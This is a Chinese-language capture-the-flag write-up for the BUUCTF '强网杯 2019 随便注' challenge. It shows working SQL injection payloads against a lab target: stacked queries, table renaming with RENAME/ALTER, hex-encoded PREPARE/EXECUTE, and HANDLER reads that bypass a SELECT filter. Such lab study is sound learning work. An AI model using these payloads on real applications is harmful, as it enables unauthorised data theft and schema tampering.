BUUCTF-Web-[强网杯 2019]随便注1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助
打开靶机,发现一个查询入口,查询不同的数字返回不同的字符串
判断是否为字符型注入
1 | 1' |
判断为字符型注入
确定字段数
1 | 1' order by 3;# |
1 | 1' order by 2;# |
确定字段数为2
爆数据库
1 | 1' union select database(),version();# |
发现联合查询被过滤
改用堆叠注入
1 | 1';show databases;# |
爆表
1 | 1';show tables;# |
爆列
两个表都爆一下;
words表:
1 | 1';show columns from words;# |
1919810931114514 表:
1 | 1';show columns from `1919810931114514`;# //数字表名需要用反引号括起来 |
可以看到words表有id data两个字段,1919810931114514表有最想要的flag字段
爆flag
返回到第一个网页(就是打开靶机进入的第一个网页)
我们输入payload:
1 | 1' or 1=1;# |
发现可以爆出这个表(很像words表的结构,两个字段其中还有id字段)内的所有内容,那我们可以大胆推测这个查询功能的sql语句:
1 | select * from words where id = <输入的内容> |
所以只能通过查询id字段爆破内容,但1919810931114514表只有flag字段,那怎么办,
方法一
学一招“偷天换日”,flag列储存类型为varchar字符串,刚好words数据表里面的data也是varchar类型,
那么通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
一种改表方式
payload:
1 | 1';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;# |
rename table words
to words2;rename table 1919810931114514
to words 将名为”words”的表重命名为”words2”,将名为”1919810931114514”的表重命名为”words”;
alter table words change flag id varchar(100); 修改现在名为words的表(原1919810931114514表;将flag列重命名为id,并将其数据类型改为varchar(100)
show tables; 显示表名,查看是否改表成功。
再次输入:
1 | 1'or 1=1 ;# |
将id列(原flag列)爆出来,获得flag
另一种改表方式
payload:
1 | 1';rename table words to words2;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);show tables;# |
alter table words add id int unsigned not NULL auto_increment primary key;
words表将新增一个名为id的列
该列将:
存储无符号整数值
不允许NULL值
自动生成递增值(1,2,3……)
作为表的主键
alter table words change flag data varchar(100);将”words”表中的”flag”列改名为”data”并修改其数据类型为varchar(100)
直接查询1就可以获得flag
方法二
由于select被过滤,但是我们考虑使用编码进行绕过
构筑payload:
1 | select * from `1919810931114514` |
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由prepare创建的SQL语句。
将十六进制字符串赋值给变量@a,从变量@a准备一个名为payload的预处理语句,执行预处理语句execsql,即执行select * from 1919810931114514
获得flag
方法三
select命令被过滤了,sql语句不止你一种查询语句,我们试试handler命令进行查看
payload:
1 | 1'; handler `1919810931114514` open ; handler `1919810931114514` read next;# |
获得flag